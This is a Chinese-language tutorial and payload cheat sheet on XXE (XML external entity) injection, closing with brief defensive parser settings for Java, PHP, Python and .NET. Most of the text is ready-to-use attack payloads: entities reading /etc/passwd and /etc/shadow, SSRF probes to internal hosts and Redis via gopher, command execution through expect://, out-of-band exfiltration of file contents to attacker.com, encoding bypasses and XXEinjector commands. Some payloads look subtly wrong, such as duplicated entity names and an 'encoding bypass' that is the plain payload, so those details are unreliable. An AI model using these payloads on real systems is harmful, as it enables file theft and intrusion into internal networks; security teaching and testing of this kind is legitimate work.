XXE 漏洞详解
漏洞概述
XXE(XML External Entity)XML 外部实体注入,攻击者通过构造恶意 XML 读取服务器文件、执行命令等。
OWASP Top 10: A05:2021
危害等级: ⭐⭐⭐⭐⭐
漏洞原理
XML 允许定义外部实体,如果解析器未禁用该功能,攻击者可利用:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>漏洞检测
基础测试
<!-- 测试 XXE -->
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY xxe "XXE Test">
]>
<root>&xxe;</root>
<!-- 如果返回 XXE Test,说明存在 XXE -->读取文件
<!-- Linux -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- Windows -->
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///c:/windows/win.ini">
]>
<root>&xxe;</root>Payload 大全
读取文件
<!-- /etc/passwd -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
<!-- /etc/shadow (需要权限) -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/shadow">
]>
<root>&xxe;</root>
<!-- 配置文件 -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/hosts">
<!ENTITY xxe SYSTEM "file:///proc/version">
]>SSRF 攻击
<!-- 内网探测 -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://192.168.1.1:8080/">
]>
<root>&xxe;</root>
<!-- Redis 未授权访问 -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "gopher://127.0.0.1:6379/_INFO">
]>
<!-- MySQL 连接 -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "mysql://user:[email protected]:3306/">
]>命令执行
<!-- PHP expect:// -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>
<!-- Java Runtime -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "http://attacker.com/">
]>
<root>&xxe;</root>盲注 XXE
<!-- 外带数据 -->
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/xxe?data=%file;">
%remote;
]>
<root>&xxe;</root>绕过技巧
Base64 编码
<!DOCTYPE root [
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % remote SYSTEM "http://attacker.com/?data=%file;">
%remote;
]>实体嵌套
<!DOCTYPE root [
<!ENTITY % a SYSTEM "file:///etc/passwd">
<!ENTITY % b "%a;">
<!ENTITY % c "%b;">
<!ENTITY % remote SYSTEM "http://attacker.com/?data=%c;">
%remote;
]>字符编码绕过
<!-- UTF-7 -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "utf-7:+ACI-file:///etc/passwd-ACI-">
]>
<!-- UTF-16 -->
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>工具检测
XXEinjector
# 自动检测 XXE
ruby XXEinjector.rb --host=attacker.com --path=/etc/passwd --file=request.xml
# SSRF 测试
ruby XXEinjector.rb --host=attacker.com --port=80 --file=request.xmlBurp Suite
# 使用 XXE Scanner 插件
# 或手动构造 Payload 测试实战案例
案例 1: SOAP 接口 XXE
POST /soap HTTP/1.1
Content-Type: text/xml
<?xml version="1.0"?>
<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soapenv:Envelope>
<soapenv:Body>
<user>&xxe;</user>
</soapenv:Body>
</soapenv:Envelope>案例 2: SVG 文件 XXE
<svg xmlns="http://www.w3.org/2000/svg">
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<text>&xxe;</text>
</svg>案例 3: Office 文档 XXE
<!-- Word 文档中的 XXE -->
<w:document>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<w:p>&xxe;</w:p>
</w:document>防御建议
Java
// 禁用外部实体
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);PHP
// 禁用外部实体
libxml_disable_entity_loader(true);Python
# 使用 defusedxml
from defusedxml import ElementTree
root = ElementTree.parse(file).NET
// 禁用 DTD
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit;